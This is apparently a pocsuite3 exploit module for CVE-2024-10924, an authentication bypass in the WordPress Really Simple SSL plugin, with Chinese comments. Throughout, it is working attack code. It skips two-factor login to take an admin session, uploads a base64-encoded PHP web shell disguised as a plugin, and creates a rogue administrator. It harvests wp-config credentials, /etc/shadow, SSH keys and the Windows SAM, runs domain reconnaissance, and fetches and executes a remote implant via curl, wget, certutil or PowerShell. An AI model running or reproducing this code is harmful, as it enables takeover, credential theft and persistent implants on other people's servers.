#!/usr/bin/env python
# coding: utf-8
import base64
import io
import os
import re
import time
import urllib
import json
import zipfile
from functools import lru_cache
import mmh3
import datetime
from urllib.parse import urlparse
from bs4 import BeautifulSoup
from pocsuite3.api import Output
from pocsuite3.api import POCBase
from pocsuite3.api import requests
from pocsuite3.api import OptString
from pocsuite3.api import logger
from pocsuite3.api import register_poc
from collections import OrderedDict
from pocsuite3.lib.core.interpreter_option import OptBool
from pocsuite3.lib.utils import random_str
try:
from flyfire import implant, utils
except Exception as e:
logger.info("So sad, can't import flyfire.")
logger.info("if you just verify the vulnerability, please ignore it.")
logger.info("if you want to exploit the vulnerability, please install flyfire.")
class WPTool():
def __init__(self, url):
self.url = url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
def add_admin_user(self):
"""
添加管理员用户
:return:
"""
try:
# 获取 wpnonce
url = self.url.rstrip('/') + '/wp-admin/user-new.php'
res = self.session.get(url)
soup = BeautifulSoup(res.content, 'html.parser')
input = soup.find_all('input', attrs={'id': '_wpnonce_create-user'})
if not input:
logger.error('{} get _wpnonce failed'.format(url))
return ''
wpnonce = input[0].get('value')
logger.info('get _wpnonce success : {}'.format(wpnonce))
# 创建管理员用户
username = random_str(5)
password = random_str(9)
email = '{}@email.com'.format(username)
url = self.url.rstrip('/') + '/wp-admin/user-new.php'
headers = {
'Referer': self.url.rstrip('/') + '/wp-admin/user-new.php',
}
data = {
"action": "createuser",
"_wpnonce_create-user": wpnonce,
"_wp_http_referer": "/wp-admin/user-new.php",
"user_login": username,
"email": email,
"first_name": "",
"last_name": "",
"url": "",
"locale": "",
"pass1": password,
"pass2": password,
"pw_weak": "on",
"role": "administrator",
"createuser": "createuser"
}
res = self.session.post(url, headers=headers, data=data, allow_redirects=False)
if res.status_code == 302 and 'users.php' in res.headers.get('Location'):
logger.info('add admin user success {} {}'.format(username, password))
return {
'username': username,
'password': password,
}
except Exception as e:
pass
return {}
def upload_plugin(self, file_content_bs4):
"""
上传插件
:param file_content_bs4: 需要上传的 php 文件 base64
:return:
"""
try:
# 构造插件信息文件
# index.php 上传插件必须要有的一个文件
plugin_path = random_str(6)
file_name = random_str(6) + '.php'
file_content = base64.b64decode(file_content_bs4.encode()).decode()
buffer = io.BytesIO()
plugin_info_bs4 = 'PD9waHAKLyoqCiAqIFBsdWdpbiBuYW1lOiB7cGx1Z2luX25hbWV9CiAqIFBsdWdpbiBVUkk6IHtwbHVnaW5fdXJsfQogKiBEZXNjcmlwdGlvbjogV29yZFByZXNzIGVkaXRvciBibG9jayB0aGF0IHByb3ZpZGVzIHN1cHBvcnQgZm9yIGFkdmFuY2VkIGlubGluZSBncmlkIGxheW91dHMgYnkgZXh0ZW5kaW5nIGVhY2ggY29sdW1uIGluIGEgY29sdW1ucyBibG9jayB3aXRoIHRoZSBvcHRpb24gdG8gc2V0IGl0cyB3aWR0aCBwZXIgYnJlYWtwb2ludC4KICogQXV0aG9yOiB7cGx1Z2luX2F1dGhvcn0KICogQXV0aG9yIFVSSToge3BsdWdpbl91cmx9CiAqIFZlcnNpb246IDEuMC4wCiAqIExpY2Vuc2U6IGh0dHBzOi8vd3d3LmdudS5vcmcvbGljZW5zZXMvZ3BsLTIuMC5odG1sIEdQTHYyCiAqCiAqIEBwYWNrYWdlICAgIFdvcmRQcmVzcwogKiBAc3VicGFja2FnZSBmZi1ibG9jay1hZHZhbmNlZC1jb2x1bW5zCiAqIEBzaW5jZSAgICAgIDUuMC4zCiAqLw=='
plugin_info_content = base64.b64decode(plugin_info_bs4.encode()).decode()
plugin_info_content = plugin_info_content.format(
plugin_name=plugin_path,
plugin_url='https://www.{}.com'.format(random_str(6)),
plugin_author=random_str(5),
)
with zipfile.ZipFile(buffer, 'w') as zf:
zf.writestr(f'{plugin_path}/index.php', plugin_info_content)
zf.writestr(f'{plugin_path}/{file_name}', file_content)
buffer.seek(0)
logger.info('build plugin success .')
# 获取 wpnonce
url = self.url.rstrip('/') + '/wp-admin/plugin-install.php?tab=upload'
res = self.session.get(url)
soup = BeautifulSoup(res.content, 'html.parser')
input = soup.find_all('input', attrs={'id': '_wpnonce'})
if not input:
logger.error('{} get _wpnonce failed'.format(url))
return ''
wpnonce = input[0].get('value')
logger.info('get _wpnonce success : {}'.format(wpnonce))
# 上传插件
url = self.url.rstrip('/') + '/wp-admin/update.php?action=upload-plugin'
data = {
'_wpnonce': wpnonce,
'_wp_http_referer': '/wp-admin/plugin-install.php',
'install-plugin-submit': 'Install Now',
}
files = {
'pluginzip': (
plugin_path + '.zip',
buffer.read(),
'application/x-zip-compressed'
)
}
res = self.session.post(url, data=data, files=files)
if 'action=activate' not in res.text:
logger.error('{} upload plugin failed'.format(url))
return ''
logger.info('upload plugin success : {}'.format(file_name))
file_url = self.url.rstrip('/') + '/wp-content/plugins/{}/{}'.format(plugin_path, file_name)
return file_url
except Exception as e:
pass
return ''
def delete_plugin(self, plugin_name):
"""
删除插件
- 插件名称、目录名称需要保持一致
:param plugin_name:
:return:
"""
try:
# 1. 获取 nonce
url = self.url + '/wp-admin/plugins.php'
res = self.session.get(url)
nonce_index = res.text.find('"ajax_nonce":"')
if nonce_index == -1:
return False
nonce_start = nonce_index + len('"ajax_nonce":"')
nonce_end = res.text.find('"', nonce_start)
nonce = res.text[nonce_start:nonce_end]
logger.info('get ajax nonce success : {}'.format(nonce))
# 2. 删除插件
url = self.url + '/wp-admin/admin-ajax.php'
data = {
"plugin": "{}/index.php".format(plugin_name), # 插件信息的 php 路径
"slug": plugin_name, # 插件名字
"action": "delete-plugin",
"_ajax_nonce": nonce,
"_fs_nonce": "",
"username": "",
"password": "",
"connection_type": "",
"public_key": "",
"private_key": ""
}
res = self.session.post(url, data=data)
if res.json().get('success'):
logger.info('delete {} plugin success'.format(plugin_name))
return True
except Exception as e:
pass
return False
def parse_wp_config(content) -> dict:
try:
if 'define' not in content:
return {}
config = {}
for line in content.splitlines():
if line.startswith('define'):
pattern = r"define\(.*?'(.*)',.*?'(.*)'.*?\);"
matches = re.findall(pattern, line.replace(' ',''), re.DOTALL)
if not matches or len(matches[0]) < 2:
continue
config.update({
matches[0][0]: matches[0][1]
})
return config
except Exception as e:
pass
return {}
class PoC(POCBase):
vulID = ''
name = 'CVE-2024-10924 Wordpress Really Simple SSL 插件认证绕过漏洞'
author = 'noone'
is0day = False
type = '权限绕过'
level = '高危'
cve = 'CVE-2024-10924'
cnvd = ''
cnnvd = ''
exploit_db = ''
vendor = 'Really Simple Plugins'
appName = 'Really Simple SSL 插件'
appVersion = ['< 9.1.2']
tags = []
search_keyword = 'app:"Really Simple SSL 插件"'
desc = '''
当 Wordpress Really Simple SSL 插件启用了 Two-Factor Authentication 后会存在认证绕过漏洞，可未授权获取管理员 Cookie 导致可以上传 webshell 添加管理员用户等。
'''
details = '''
'''
solution = '''
'''
official_solution = '''
'''
references = [
'https://mp.weixin.qq.com/s/o0ZqgFZ2AZjyBxKq3xdLlA'
]
samples = []
install_requires = []
shell_url = ''
session = None
@staticmethod
def _options():
o = OrderedDict()
o["instance_id"] = OptString('', description='instance_id', require=False)
o["backdoor"] = OptString(False, description='backdoor', require=False)
o["cmd"] = OptString('', description='cmd', require=False)
o["implant_url"] = OptString('', description='implant_url', require=False)
o["check"] = OptBool(False, description='check', require=False)
o["save"] = OptBool(False, description='save', require=False)
return o
def get_admin_session(self):
"""
认证绕过
:return:
"""
try:
if self.session:
return self.session
self.session = requests.Session()
self.session.verify = False
url = self.url + '/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding'
data = {
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
self.session.post(url, json=data, verify=False, allow_redirects=False)
if 'logged_in' in self.session.cookies.__str__():
return True
except Exception as e:
pass
return False
def check(self):
try:
if not self.get_admin_session():
return False
wp_tool = WPTool(self.url)
wp_tool.session = self.session
shell_content_bs4 = 'PD9waHAKCmZ1bmN0aW9uIGZ1bmN0aW9uX2V4aXN0c0V4KCRmdW5jdGlvbk5hbWUpCnsKICAgICRkID0gZXhwbG9kZSgiLCIsIEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTsKICAgIGlmIChlbXB0eSgkZCkpIHsKICAgICAgICAkZCA9IGFycmF5KCk7CiAgICB9IGVsc2UgewogICAgICAgICRkID0gYXJyYXlfbWFwKCd0cmltJywgYXJyYXlfbWFwKCdzdHJ0b2xvd2VyJywgJGQpKTsKICAgIH0KICAgIHJldHVybiAoZnVuY3Rpb25fZXhpc3RzKCRmdW5jdGlvbk5hbWUpICYmIGlzX2NhbGxhYmxlKCRmdW5jdGlvbk5hbWUpICYmICFpbl9hcnJheSgkZnVuY3Rpb25OYW1lLCAkZCkpOwp9CgpmdW5jdGlvbiBleGVjQ29tbWFuZCgkY21kTGluZSkKewogICAgQG9iX3N0YXJ0KCk7CiAgICBpZiAoc3Vic3RyKF9fRklMRV9fLCAwLCAxKSA9PSAiLyIpIHsKICAgICAgICBAcHV0ZW52KCJQQVRIPSIgLiBnZXRlbnYoIlBBVEgiKSAuICI6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluIik7CiAgICB9IGVsc2UgewogICAgICAgIEBwdXRlbnYoIlBBVEg9IiAuIGdldGVudigiUEFUSCIpIC4gIjtDOi9XaW5kb3dzL3N5c3RlbTMyO0M6L1dpbmRvd3MvU3lzV09XNjQ7QzovV2luZG93cztDOi9XaW5kb3dzL1N5c3RlbTMyL1dpbmRvd3NQb3dlclNoZWxsL3YxLjAvOyIpOwogICAgfQogICAgJHJlc3VsdCA9ICIiOwogICAgaWYgKCFmdW5jdGlvbl9leGlzdHNFeCgicnVuc2hlbGxzaG9jayIpKSB7CiAgICAgICAgZnVuY3Rpb24gcnVuc2hlbGxzaG9jaygkZCwgJGMpCiAgICAgICAgewogICAgICAgICAgICBpZiAoc3Vic3RyKCRkLCAwLCAxKSA9PSAiLyIgJiYgZnVuY3Rpb25fZXhpc3RzRXgoJ3B1dGVudicpICYmIChmdW5jdGlvbl9leGlzdHNFeCgnZXJyb3JfbG9nJykgfHwgZnVuY3Rpb25fZXhpc3RzRXgoJ21haWwnKSkpIHsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIocmVhZGxpbmsoIi9iaW4vc2giKSwgImJhc2giKSAhPSBGQUxTRSkgewogICAgICAgICAgICAgICAgICAgICR0bXAgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ2FzJyk7CiAgICAgICAgICAgICAgICAgICAgcHV0ZW52KCJQSFBfTE9MPSgpIHsgeDsgfTsgJGMgPiR0bXAgMj4mMSIpOwogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHNFeCgnZXJyb3JfbG9nJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JfbG9nKCJhIiwgMSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFpbCgiYUAxMjcuMC4wLjEiLCAiIiwgIiIsICItYnYiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAZmlsZV9nZXRfY29udGVudHMoJHRtcCk7CiAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXApOwogICAgICAgICAgICAgICAgaWYgKCRvdXRwdXQgIT0gIiIpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG91dHB1dDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gRmFsc2U7CiAgICAgICAgfQoKICAgICAgICA7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzRXgoJ3N5c3RlbScpKSB7CiAgICAgICAgQHN5c3RlbSgkY21kTGluZSk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzRXgoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICAkcmVzdWx0ID0gQHBhc3N0aHJ1KCRjbWRMaW5lKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHNFeCgnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgJHJlc3VsdCA9IEBzaGVsbF9leGVjKCRjbWRMaW5lKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHNFeCgnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJGNtZExpbmUsICRvKTsKICAgICAgICAkcmVzdWx0ID0gam9pbigiXG4iLCAkbyk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzRXgoJ3BvcGVuJykpIHsKICAgICAgICAkZnAgPSBAcG9wZW4oJGNtZExpbmUsICdyJyk7CiAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gQGZnZXRzKCRmcCwgMTAyNCAqIDEwMjQpOwogICAgICAgIH0KICAgICAgICBAcGNsb3NlKCRmcCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzRXgoJ3Byb2Nfb3BlbicpKSB7CiAgICAgICAgJHAgPSBAcHJvY19vcGVuKCRjbWRMaW5lLCBhcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpLCAkaW8pOwogICAgICAgIHdoaWxlICghQGZlb2YoJGlvWzFdKSkgewogICAgICAgICAgICAkcmVzdWx0IC49IEBmZ2V0cygkaW9bMV0sIDEwMjQgKiAxMDI0KTsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKCFAZmVvZigkaW9bMl0pKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gQGZnZXRzKCRpb1syXSwgMTAyNCAqIDEwMjQpOwogICAgICAgIH0KICAgICAgICBAZmNsb3NlKCRpb1sxXSk7CiAgICAgICAgQGZjbG9zZSgkaW9bMl0pOwogICAgICAgIEBwcm9jX2Nsb3NlKCRwKTsKICAgIH0gZWxzZWlmIChzdWJzdHIoX19GSUxFX18sIDAsIDEpICE9ICIvIiAmJiBAY2xhc3NfZXhpc3RzKCJDT00iKSkgewogICAgICAgICR3ID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgICAgICRlID0gJHctPmV4ZWMoJGNtZExpbmUpOwogICAgICAgICRzbyA9ICRlLT5TdGRPdXQoKTsKICAgICAgICAkcmVzdWx0IC49ICRzby0+UmVhZEFsbCgpOwogICAgICAgICRzZSA9ICRlLT5TdGRFcnIoKTsKICAgICAgICAkcmVzdWx0IC49ICRzZS0+UmVhZEFsbCgpOwogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0c0V4KCJwY250bF9mb3JrIikgJiYgZnVuY3Rpb25fZXhpc3RzRXgoInBjbnRsX2V4ZWMiKSkgewogICAgICAgICRjbWQgPSAiL2Jpbi9iYXNoIjsKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRjbWQpKSB7CiAgICAgICAgICAgICRjbWQgPSAiL2Jpbi9zaCI7CiAgICAgICAgfQogICAgICAgICRjb21tYW5kRmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvIiAuIHRpbWUoKSAuICIubG9nIjsKICAgICAgICAkcmVzdWx0RmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvIiAuICh0aW1lKCkgKyAxKSAuICIubG9nIjsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGNvbW1hbmRGaWxlLCAkY21kTGluZSk7CiAgICAgICAgc3dpdGNoIChwY250bF9mb3JrKCkpIHsKICAgICAgICAgICAgY2FzZSAwOgogICAgICAgICAgICAgICAgJGFyZ3MgPSBhcnJheSgiLWMiLCAiJGNtZExpbmUgPiAkcmVzdWx0RmlsZSIpOwogICAgICAgICAgICAgICAgcGNudGxfZXhlYygkY21kLCAkYXJncyk7CiAgICAgICAgICAgICAgICBleGl0KDApOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJHJlc3VsdEZpbGUpKSB7CiAgICAgICAgICAgIHNsZWVwKDIpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0ID0gZmlsZV9nZXRfY29udGVudHMoJHJlc3VsdEZpbGUpOwogICAgICAgIEB1bmxpbmsoJGNvbW1hbmRGaWxlKTsKICAgICAgICBAdW5saW5rKCRyZXN1bHRGaWxlKTsKICAgIH0gZWxzZWlmICgoJHJlc3VsdCA9IHJ1bnNoZWxsc2hvY2soX19GSUxFX18sICRjbWRMaW5lKSAhPT0gZmFsc2UpKSB7CgogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gIm5vbmUgb2YgcHJvY19vcGVuL3Bhc3N0aHJ1L3NoZWxsX2V4ZWMvZXhlYy9leGVjL3BvcGVuL0NPTS9ydW5zaGVsbHNob2NrL3BjbnRsX2V4ZWMgaXMgYXZhaWxhYmxlIjsKICAgIH0KICAgICRyZXN1bHQgLj0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICAgcmV0dXJuICRyZXN1bHQ7Cn0KCmlmICghZW1wdHkoJF9SRVFVRVNUWydjb21tYW5kJ10pKSB7CiAgICBpZiAoJF9SRVFVRVNUWydjb21tYW5kJ10gPT09ICdkZWxldGUnKSB7CiAgICAgICAgdW5saW5rKF9fRklMRV9fKTsKICAgIH0KICAgIGVjaG8gZXhlY0NvbW1hbmQoJF9SRVFVRVNUWyJjb21tYW5kIl0pOwp9IGVsc2UgewogICAgaGVhZGVyKCJMb2NhdGlvbjogLyIpOwogICAgZXhpdDsKfQo/Pg=='
self.shell_url = wp_tool.upload_plugin(shell_content_bs4)
if not self.shell_url:
return False
flag = random_str(20)
if flag in self.exec(f"echo {flag}"):
return True
except Exception as e:
pass
return False
def add_wp_admin_user(self):
"""
添加一个管理员账号
:return:
"""
try:
wp_tool = WPTool(self.url)
wp_tool.session = self.get_admin_session()
return wp_tool.add_admin_user()
except Exception as e:
pass
return {}
def get_wp_config(self):
"""
获取 wp-config 信息
:return:
"""
try:
if self.get_system_type() == 'windows':
command = 'type ..\\..\\..\\wp-config.php'
else:
command = 'cat ../../../wp-config.php'
content = self.exec(command)
if content:
return parse_wp_config(content)
except Exception as e:
pass
return {}
@lru_cache(maxsize=None)
def exec(self, command):
try:
params = {
'command': command
}
res = requests.get(self.shell_url, params=params, verify=False)
if res.status_code != 200 or '<!DOCTYPE html'.lower() in res.text.lower() or "</html>" in res.text.lower():
return ''
result = res.text.rstrip('\n').rstrip('\r')
logger.info("{} => {} => {}".format(self.url, command, result))
return result
except Exception as e:
pass
return ''
def delete(self):
"""
删除插件
:return:
"""
try:
if self.shell_url:
plugin_name = self.shell_url.split('/')[-2]
if not plugin_name:
return
wp_tool = WPTool(self.url)
wp_tool.session = self.get_admin_session()
wp_tool.delete_plugin(plugin_name)
logger.info('delete shell => {}'.format(self.shell_url))
self.shell_url = ''
except Exception as e:
pass
def _verify(self):
backdoor = self.get_option("backdoor")
cmd = self.get_option("cmd")
only_check = self.get_option("check")
save_result = self.get_option("save")
result = {}
self.url = self.url.rstrip('/')
self.raw_url = self.url
self.host = urlparse(self.url).hostname
self.port = urlparse(self.url).port
if self.port is None:
self.port = 443
if cmd:
if not hasattr(self, "_cmd"):
raise NotImplementedError
result = self._cmd()
else:
try:
if not self.check():
return self.parse_output(result)
result["url"] = self.url
if only_check:
result["result"] = f"存在 {self.name}"
else:
if self.get_system_type():
result["commands"] = self.get_commands_info()
result["files"] = self.get_files_info()
login_credential = self.add_wp_admin_user()
if login_credential:
login_credential.update({'credential_type':'网站后台'})
result["login_credentials"] = [login_credential]
wp_config = self.get_wp_config()
if wp_config:
result['info'] = wp_config
if not result["commands"] and not result["files"]:
logger.info('未获取到有效信息, 可能是误报')
return self.parse_output({})
else:
result["info"] = {
'error': "漏洞存在, 但判断操作系统类型失败, 无法获取对应信息"
}
if backdoor:
if not hasattr(self, "_backdoor"):
raise NotImplementedError
backdoor_result = self._backdoor()
if backdoor_result:
result["backdoor"] = backdoor_result
result["scan_time"] = datetime.datetime.utcnow().strftime("%Y-%m-%d %H:%M:%SZ")
result["mmh3_hash"] = self.generate_mmh3_hash()
except Exception as e:
pass
if result and save_result:
self.save(result)
return self.parse_output(result)
def _attack(self):
instance_id = self.get_option("instance_id")
if instance_id is not None and instance_id != "":
result = self._verify()
if "result" in result.result.keys():
result = json.loads(result.result["result"]["json"])
result["instance_id"] = instance_id
# 内网上线利用
else:
result = {}
else:
result = {}
self.raw_url = self.url
self.host = urlparse(self.url).hostname
self.port = urlparse(self.url).port
if self.port is None:
self.port = 443
if not self.check():
return self.parse_output(result)
try:
result["url"] = self.url
result["name"] = self.name
result["mmh3_hash"] = self.generate_mmh3_hash()
result["os"] = self.get_system_type()
result["whoami"] = self.exec("whoami")
self.sliver()
except Exception as e:
pass
return self.parse_output(result)
def get_implant_download_url(self):
implant_url = self.get_option("implant_url")
if implant_url is not None and implant_url != "":
logger.info("implant_url: %s" % implant_url)
return implant_url
im = implant.Implant()
if self.get_system_type() == "windows":
download_url = im.get_random_implant(os_type="windows")
else:
arch = self.exec("uname -a")
if 'x86_64' in arch:
download_url = im.get_random_implant(os_type="linux", platform="amd64")
elif 'aarch64' in arch:
download_url = im.get_random_implant(os_type="linux", platform="arm64")
elif 'arm' in arch:
download_url = im.get_random_implant(os_type="linux", platform="arm_386")
else:
download_url = im.get_random_implant(os_type="linux", platform="386")
return download_url
def sliver(self):
try:
# file_name = random_str(10)
file_name = '1'
download_url = self.get_implant_download_url()
if not download_url or download_url is None:
logger.error(f'get implant download url failed => {download_url}')
return
if self.get_system_type() == "windows":
self.exec(f"echo {self.generate_mmh3_hash()} > C:/Users/Public/Downloads/0")
commands = [
'curl {download_url} -o {save_path}',
'powershell.exe -Command "Invoke-WebRequest -Uri {download_url} -OutFile {save_path}"',
'powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile(\'{download_url}\', {save_path})"',
'certutil.exe -urlcache -split -f {download_url} {save_path}',
]
save_path = f"C:/Users/Public/Downloads/{file_name}.exe"
for command in commands:
command = command.format(download_url=download_url, save_path=save_path)
logger.info(command)
self.exec(command)
time.sleep(3)
self.exec("cmd /c C:/Users/Public/Downloads/1.exe")
else:
self.exec(f"echo {self.generate_mmh3_hash()} > /tmp/0")
commands = [
'curl -o {save_path} {download_url}',
'wget {download_url} -O {save_path}',
'fetch -o {save_path} {download_url}',
]
save_path = f"/tmp/{file_name}"
for command in commands:
command = command.format(download_url=download_url, save_path=save_path)
logger.info(command)
self.exec(command)
time.sleep(3)
self.exec(f'chmod +x {save_path}')
self.exec(save_path)
except Exception as e:
pass
def _cmd(self):
"""
自定义实现方法
:return:
Example:
"""
command = self.get_option("cmd")
if command and self.check():
res = self.exec(command)
if res:
return {
"result": res
}
return {}
def _backdoor(self) -> dict:
"""
后门模式, 可以根据自己的需要修改这个函数的参数及返回
:return: dict
{
"url": "",
"password": "",
"key": "",
"payload": "",
"encryptor": "",
"type": "",
}
payload:
JavaDynamicPayload,AspDynamicPayload,CSharpDynamicPayload,PhpDynamicPayload
encryptor:
php_xor_base64,php_xor_raw,php_eval_xor_base64,java_aes_base64,java_aes_raw,asp_xor_base64,asp_xor_raw,csharp_aes_base64
"""
logger.info("后门模式")
return {}
def get_system_type(self):
"""
获取操作系统类型
有些 whoami 无法正常获取 或者获取的 whoami 是错误的比如 java 的执行报错 导致判断错误或者直接为空后面无法获取正确的命令
windows => echo %OS% & wer
linux => echo %OS% = %OS% || uname => Linux
:return:
"""
try:
os_env = self.exec('echo %OS%')
if os_env and 'windows' in os_env.lower():
return "windows"
uname = self.exec("uname")
if uname and 'linux' in uname.lower():
return "linux"
ver = self.exec("ver")
if ver and 'windows' in ver.lower():
return "windows"
whoami = self.exec("whoami")
if not whoami:
return ''
if "\\" in whoami:
return "windows"
else:
return "linux"
except Exception as e:
logger.error(f'target {self.url} getting operating system type error: {e}')
return ''
def get_commands_info(self) -> list:
"""
获取命令执行的信息
:return:
"""
info = []
try:
system_type = self.get_system_type()
if not system_type:
return info
if system_type == 'windows':
commands = [
"whoami",
"ipconfig",
"hostname",
"tasklist",
"net user",
"net user /domain",
"net group /domain",
'net group "domain admins" /domain',
"route print",
"net share",
'net group "domain computers" /domain ',
"nltest /domain_trusts",
"dir",
]
else:
commands = [
"whoami",
"id",
"hostname",
"uname -a",
"df -a",
"ifconfig",
"ip addr",
"df -a",
"last -n 30",
"ps -ef",
"crontab -l",
"arp -a",
"pwd",
"ls -al",
]
for command in commands:
result = self.exec(command)
if result:
info.append({
"name": command,
"result": result
})
except Exception as e:
logger.error(e)
return info
def get_files_info(self) -> list:
"""
获取文件信息
:return:
"""
info = []
try:
system_type = self.get_system_type()
if not system_type:
return info
if system_type == 'windows':
paths = [
'C:\\Windows\\win.ini',
'C:\\Windows\\repair\\sam', # 系统首次安装的密码
'C:\\boot.ini', # boot.ini 系统版本
'C:\\Windows\\my.ini', # Mysql 配置信息
'C:\\Program Files\\mysql\\data\\mysql\\user.MYD',
'C:\\Program Files\\mysql\\my.ini',
'c:\\mysql\\data\\mysql\\user.MYD',
'C:\\Windows\\php.ini', # php 配置信息
'C:\\Windows\\System32\\inetsrv\\MetaBase.xml', # IIS 配置信息
'C:\\Program Files\\RhinoSoft.com\\Serv-U\\ServUDaemon.ini',
'C:\\Program Files\\Serv-U\\ServUDaemon.ini',
'C:\\Resin\\conf\\resin.conf \\usr\\local\\resin\\conf\\resin.conf',
'C:\\Program Files\\ToDesk\\Config.ini',
'C:\\Windows\\System32\\drivers\\etc\\hosts'
]
command = 'type {}'
else:
paths = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/issue",
"/etc/crontab",
"/etc/profile",
"/etc/networks",
"/etc/resolv.conf",
"/proc/version",
'/proc/self/environ',
"/porc/config.gz",
"/porc/self/cmdline",
"/proc/net/fib_trie",
"/proc/self/loginuid",
"/root/.bash_history",
"/etc/redhat-release",
"~/.bash_history",
"/var/lib/mlocate/mlocate.db",
]
command = 'cat {}'
for path in paths:
content = self.exec(command.format(path))
file_name = os.path.basename(path)
if content:
info.append({
"name": file_name,
"path": path,
"result": content
})
if system_type == 'windows':
return info
try:
passwd = self.exec("cat /etc/passwd")
lines = passwd.splitlines()
for line in lines:
if '/bin/bash' not in line and '/bin/sh' not in line:
continue
home_directory = line.split(':')[5]
if not home_directory or home_directory == '/':
continue
for file_name in ['authorized_keys', 'id_rsa', 'id_rsa.pub', 'known_hosts']:
path = home_directory + '/.ssh/' + file_name
content = self.exec(command.format(path))
if content:
info.append({"name": path, "path": path, "result": content})
except Exception as e:
pass
except Exception as e:
logger.error(e)
return info
def save(self, result):
"""
Save the result to a file.
:param result: The result to be saved.
:type result: dict
:return: None
:rtype: None
"""
output_dir = os.environ.get("POC_OUTPUT_DIR", "res")
if not os.path.exists(output_dir):
os.mkdir(output_dir)
# 确保host中不含有特殊字符、回车换行
filename = self.host.strip() + "_" + str(self.port) + ".json"
try:
with open(os.path.join(output_dir, filename), "w") as f:
f.write(json.dumps(result))
except IOError as e:
logger.error(f"Failed to write file: {e}")
except TypeError as e:
logger.error(f"Failed to serialize result: {e}")
except Exception as e:
logger.error(f"An error occurred: {e.__class__.__name__}: {e}")
def generate_mmh3_hash(self) -> str:
instance_id = self.get_option("instance_id")
if instance_id is not None and instance_id != "":
logger.info("instance_id: %s" % instance_id)
content = self.host + "_" + str(self.port) + "_" + self.name + "_" + instance_id
else:
content = self.host + "_" + str(self.port) + "_" + self.name
return str(mmh3.hash(content, signed=False))
def parse_output(self, result):
output = Output(self)
self.delete()
if len(result.keys()) != 0:
json_result = {
"result": {"json": json.dumps(result)}
}
output.success(json_result)
else:
output.fail('Internet nothing returned')
return output
register_poc(PoC)